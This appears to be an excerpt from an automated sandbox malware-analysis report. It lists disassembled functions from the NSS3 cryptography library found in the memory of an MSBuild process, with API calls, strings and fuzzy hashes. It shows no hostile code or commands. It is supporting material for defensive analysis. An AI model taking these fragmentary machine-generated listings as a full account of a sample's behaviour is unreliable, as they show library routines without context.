Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: c7b3f38ac9276e7a8ad466413658fd037693c6e28d3ac2a65941e1f185dda778
Instruction ID: 71ae869152a6e4d59864e81989197bf78ae5855e31cab39d8b04a8c650d6c8c0
Opcode Fuzzy Hash: c7b3f38ac9276e7a8ad466413658fd037693c6e28d3ac2a65941e1f185dda778
Instruction Fuzzy Hash: A3A109B19086009BEF109B25DC85B6B72A4EB8130CF244939E959CBB81F77DD859C7B3

Function 6CBEAEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CBCAB95,00000000,?,00000000,00000000,00000000), ref: 6CBEAF25
EnterCriticalSection.KERNEL32(?,?,?,?,6CBCAB95,00000000,?,00000000,00000000,00000000), ref: 6CBEAF39
PR_Unlock.NSS3(?,?,?,6CBCAB95,00000000,?,00000000,00000000,00000000), ref: 6CBEAF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6CBCAB95,00000000,?,00000000,00000000,00000000), ref: 6CBEAF69
TlsGetValue.KERNEL32 ref: 6CBEB06B
EnterCriticalSection.KERNEL32(?), ref: 6CBEB083
PR_Unlock.NSS3(?), ref: 6CBEB0A4
TlsGetValue.KERNEL32 ref: 6CBEB0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6CBEB0D9
PR_Unlock.NSS3 ref: 6CBEB102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBEB151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBEB182

Part of subcall function 6CC1FAB0: free.MOZGLUE(?,-00000001,?,?,6CBBF673,00000000,00000000), ref: 6CC1FAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CBEB177

Part of subcall function 6CC6C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC6C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6CBCAB95,00000000,?,00000000,00000000,00000000), ref: 6CBEB1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6CBCAB95,00000000,?,00000000,00000000,00000000), ref: 6CBEB1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6CBCAB95,00000000,?,00000000,00000000,00000000), ref: 6CBEB1C2

Part of subcall function 6CC11560: TlsGetValue.KERNEL32(00000000,?,6CBE0844,?), ref: 6CC1157A
Part of subcall function 6CC11560: EnterCriticalSection.KERNEL32(?,?,?,6CBE0844,?), ref: 6CC1158F
Part of subcall function 6CC11560: PR_Unlock.NSS3(?,?,?,?,6CBE0844,?), ref: 6CC115B2

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: a100636f94e51e7c1ca82f23b058c57daadbb007e8f8d4a55b7c2f3773b19169
Instruction ID: ead7ab8850e7d43f55770e116ea0a08fba4bc9292f39cdfd0818f496a747812a
Opcode Fuzzy Hash: a100636f94e51e7c1ca82f23b058c57daadbb007e8f8d4a55b7c2f3773b19169
Instruction Fuzzy Hash: 65A1A1B1D002459FEF009F64DC81BAEBBB8EF08758F144124E905A7751E731E999CBE2

Function 6CC3AD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3ADB1

Part of subcall function 6CC1BE30: SECOID_FindOID_Util.NSS3(6CBD311B,00000000,?,6CBD311B,?), ref: 6CC1BE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC3ADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CC3AE08

Part of subcall function 6CC1B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCF18D0,?), ref: 6CC1B095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC3AE25
PL_FreeArenaPool.NSS3 ref: 6CC3AE63
PR_CallOnce.NSS3(6CD22AA4,6CC212D0), ref: 6CC3AE4D

Part of subcall function 6CB44C70: TlsGetValue.KERNEL32(?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44C97
Part of subcall function 6CB44C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44CB0
Part of subcall function 6CB44C70: PR_Unlock.NSS3(?,?,?,?,?,6CB43921,6CD214E4,6CC8CC70), ref: 6CB44CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3AE93
PR_CallOnce.NSS3(6CD22AA4,6CC212D0), ref: 6CC3AECC
PL_FreeArenaPool.NSS3 ref: 6CC3AEDE
PL_FinishArenaPool.NSS3 ref: 6CC3AEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3AEF5
PL_FinishArenaPool.NSS3 ref: 6CC3AF16

Strings

security, xrefs: 6CC3ADEE

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 071da5aad7350e8495f7d3c4622716b9b3df0a6f18bf396fe71df87b72197461
Instruction ID: 2fb11a0316d48ddad5d6e478726bd5206d9ebaec3ac7459f4a8f3435fe0ef42d
Opcode Fuzzy Hash: 071da5aad7350e8495f7d3c4622716b9b3df0a6f18bf396fe71df87b72197461
Instruction Fuzzy Hash: D3413BB580422067EF119B65BC45BAB32A8AFC531CF140525E95892FD1F7399938C6E3

Function 6CBD8DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CBD8E22
EnterCriticalSection.KERNEL32(?), ref: 6CBD8E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CBD8E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CBD8E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CBD8E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBD8EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CBD8EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CBD8EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CBD8F00
free.MOZGLUE(?), ref: 6CBD8F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CBD8F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CBD8F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CBD8F5B
PR_Unlock.NSS3(?), ref: 6CBD8F72
PR_Unlock.NSS3(?), ref: 6CBD8F82

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: aa169c9175bb87b06d5672fabf32d4080cf4b0bc45c14838f4ae1437e8c3eb6a
Instruction ID: eb0d61a78e2f9fc867458aaf901cc26ac2c1f22d1a7bf0c8a62685f66e2d59a9
Opcode Fuzzy Hash: aa169c9175bb87b06d5672fabf32d4080cf4b0bc45c14838f4ae1437e8c3eb6a
Instruction Fuzzy Hash: 6F5106B2D002119FEB009F68CC8596EB7B9EF45359B164569E8089B700F732FD45CBD2

Function 6CBFCE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CBFCE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CBFCEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CBFCED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CBFCEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CBFCF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CBFCF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CBFCF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CBFCF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CBFCF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CBFCFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CBFCFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CBFCFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CBFCFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CBFD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CBFD021

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 61433b283509b46cbfa56dce11f3dd9f827ad941e4a0341a6f7aa713567eb58f
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 5C314175B5695027EF0D147B6C31BDE184A8F6630FF440038F90AE6BC0F685DA2B12AE

Function 6CC0EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CC0EE0B

Part of subcall function 6CC20BE0: malloc.MOZGLUE(6CC18D2D,?,00000000,?), ref: 6CC20BF8
Part of subcall function 6CC20BE0: TlsGetValue.KERNEL32(6CC18D2D,?,00000000,?), ref: 6CC20C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC0EEE1

Part of subcall function 6CC01D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CC01D7E
Part of subcall function 6CC01D50: EnterCriticalSection.KERNEL32(?), ref: 6CC01D8E
Part of subcall function 6CC01D50: PR_Unlock.NSS3(?), ref: 6CC01DD3

TlsGetValue.KERNEL32 ref: 6CC0EE51
EnterCriticalSection.KERNEL32(?), ref: 6CC0EE65
PR_Unlock.NSS3(?), ref: 6CC0EEA2
free.MOZGLUE(?), ref: 6CC0EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CC0EED0
PR_Unlock.NSS3(?), ref: 6CC0EF48
free.MOZGLUE(?), ref: 6CC0EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CC0EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CC0EFA4
free.MOZGLUE(?), ref: 6CC0EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CC0F055
free.MOZGLUE(?), ref: 6CC0F060

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 3ac310517de1c1456cdc8008261defabd4018bc2e479027c4e9aed21e7808f8c
Instruction ID: f66eb9874ca0b5725d0113ef02a670875868d345d15832886b82135bb335bfa9
Opcode Fuzzy Hash: 3ac310517de1c1456cdc8008261defabd4018bc2e479027c4e9aed21e7808f8c
Instruction Fuzzy Hash: F68172B1A002099FDF01DFA5DC85ADE7BB9BF48358F140028E959A3B11F732E954CBA1

Function 6CBD4CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CBD4D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CBD4D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CBD4DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CBD4E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CBD4E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CBD4E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CBD4E85
DER_Encode_Util.NSS3(?,?,6CD205A4,00000000), ref: 6CBD4EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CBD4F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CBD4F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBD4F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CBD4F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CBD4F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBD4FC8

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: bc713160e75d56d48619015213361484d0b773d78d8296b0fc0fd97fdfdd5aad
Instruction ID: 334c12dc7dacf54ccc91464eb7b90e347c5cc20578fe72dac387dd13d75f42b3
Opcode Fuzzy Hash: bc713160e75d56d48619015213361484d0b773d78d8296b0fc0fd97fdfdd5aad
Instruction Fuzzy Hash: 40817E71908341AFEB01CF25D880B5AB7E4EB88358F168929F95CDBA51E731E905CF93

Function 6CAFD4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CAFD4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAFD4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFD52A
GetCurrentThreadId.KERNEL32 ref: 6CAFD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAFD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFD55F
free.MOZGLUE(00000000), ref: 6CAFD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CAFD5D3
GetCurrentThreadId.KERNEL32 ref: 6CAFD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAFD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFD652
GetCurrentThreadId.KERNEL32 ref: 6CAFD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6CAFD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CAFD6A2

Memory Dump Source

Source File: 00000001.00000002.2509689755.000000006CAA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAA0000, based on PE: true

Associated: 00000001.00000002.2509665607.000000006CAA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509880693.000000006CB1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509953962.000000006CB2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2509982578.000000006CB32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6caa0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 49ead10f38ecfd22980d3b8cb9ca3a602d3d67d9dcbd34fd305054370d9f21d4
Instruction ID: a440a8ec76cf7072d87befc4bc811aff5fecff0568fe45aacd4ec7cd364fcc62
Opcode Fuzzy Hash: 49ead10f38ecfd22980d3b8cb9ca3a602d3d67d9dcbd34fd305054370d9f21d4
Instruction Fuzzy Hash: C1516C71A04705DFC705DF35C484AAABBF4FF89358F108A2EE85A87711DB34A989CB91

Function 6CC06C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CC0781D,00000000,6CBFBE2C,?,6CC06B1D,?,?,?,?,00000000,00000000,6CC0781D), ref: 6CC06C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CC0781D,?,6CBFBE2C,?), ref: 6CC06C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CC0781D), ref: 6CC06C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CC06C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CC06C96

Part of subcall function 6CBB1240: TlsGetValue.KERNEL32(00000040,?,6CBB116C,NSPR_LOG_MODULES), ref: 6CBB1267
Part of subcall function 6CBB1240: EnterCriticalSection.KERNEL32(?,?,?,6CBB116C,NSPR_LOG_MODULES), ref: 6CBB127C
Part of subcall function 6CBB1240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CBB116C,NSPR_LOG_MODULES), ref: 6CBB1291
Part of subcall function 6CBB1240: PR_Unlock.NSS3(?,?,?,?,6CBB116C,NSPR_LOG_MODULES), ref: 6CBB12A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CC06CAA

Strings

NSS_DEFAULT_DB_TYPE, xrefs: 6CC06C91
rdb:, xrefs: 6CC06C69
extern:, xrefs: 6CC06C7E
dbm, xrefs: 6CC06CA4
sql:, xrefs: 6CC06C52
dbm:, xrefs: 6CC06C3A

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 6c9130f0d8c3df555b6cdaf9ac195f56a77c41d89ea2a0938e8994c3d46cf8bc
Instruction ID: 3cd334192b598ef51dfc100a66830e1cfe9f02c808a7e78b1cdc736e65030d1e
Opcode Fuzzy Hash: 6c9130f0d8c3df555b6cdaf9ac195f56a77c41d89ea2a0938e8994c3d46cf8bc
Instruction Fuzzy Hash: 6901FDA1B0270133FA503F7A6C4AF26390C9FC118AF140431FF09E4A81FAA3E51981A5

Function 6CBBACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBBACE2
malloc.MOZGLUE(00000001), ref: 6CBBACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CBBAD02
TlsGetValue.KERNEL32 ref: 6CBBAD3C
calloc.MOZGLUE(00000001,?), ref: 6CBBAD8C
PR_Unlock.NSS3 ref: 6CBBADC0
free.MOZGLUE(00000000), ref: 6CBBAE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CBBAE58
free.MOZGLUE(00000000), ref: 6CBBAE69
free.MOZGLUE(?), ref: 6CBBAE78
PR_Unlock.NSS3 ref: 6CBBAE8C
free.MOZGLUE(?), ref: 6CBBAEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CBBAEC7

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 8a7c316a132baa9729c41557b12f6367430d593b5d6c34fa280efe157f34cfc7
Instruction ID: d64a6ca7a4767ac388f0bff733bcb6cf0e1759194264b892f61a49480e61ca76
Opcode Fuzzy Hash: 8a7c316a132baa9729c41557b12f6367430d593b5d6c34fa280efe157f34cfc7
Instruction Fuzzy Hash: C4518EB0E001659BEB00DF58D881ABE77B8FB46349F144125EA04B7B10EB36A945CFD2

Function 6CBFADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CBFADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBFAE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBFAE29

Part of subcall function 6CCDD930: PL_strncpyz.NSS3(?,?,?), ref: 6CCDD963

PR_LogPrint.NSS3(?,00000000), ref: 6CBFAE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CBFAE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBFAE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CBFAEA0

Strings

hKey = 0x%x, xrefs: 6CBFAE62, 6CBFAE72
C_MessageSignInit, xrefs: 6CBFADE1
hSession = 0x%x, xrefs: 6CBFAE01, 6CBFAE11
(CK_INVALID_HANDLE), xrefs: 6CBFAE1F, 6CBFAE80

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000001.00000002.2510017114.000000006CB40000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2510854270.000000006CCDF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511005303.000000006CD1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511028645.000000006CD1F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511056254.000000006CD20000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2511082279.000000006CD25000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6cb40000_MSBuild.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hKey = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageSignInit
API String ID: 332880674-605059067
Opcode ID: 8340a14fa67277ef177993a0937acbaa32850d847bb11158f8b2f3d0d2e42b97
Instruction ID: 3402cda5b9f7de1cc9d120328bd3230309d1b1ed40e89a47221440a5cbde6a8b
Opcode Fuzzy Hash: 8340a14fa67277ef177993a0937acbaa32850d847bb11158f8b2f3d0d2e42b97
Instruction Fuzzy Hash: 6531F375601284ABEB059F14DC88FAE3779AB4631DF454425F718ABB11EB34A80DCFA2

Function 6CC94C40 Relevance: 19.3, APIs: 3, Strings: 8, Instructions: 97COMMON

Download Yara Rule

APIs

sqlite3_value_text16.NSS3(?), ref: 6CC94CAF
sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6CC94CFD
sqlite3_value_text16.NSS3(?), ref: 6CC94D44

Strings

API call with %s database connection pointer, xrefs: 6CC94CF6
no more rows available, xrefs: 6CC94D2E
invalid, xrefs: 6CC94CF1
another row available, xrefs: 6CC94D20
bad parameter or other API misuse, xrefs: 6CC94D05
unknown error, xrefs: 6CC94D56
out of memory, xrefs: 6CC94C78, 6CC94C9E
abort due to ROLLBACK, xrefs: 6CC94D27, 6CC94D33

Memory Dump Source

Source File: 00000001.00000002.2510064401.000000006CB41000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CB40000, based on PE: true

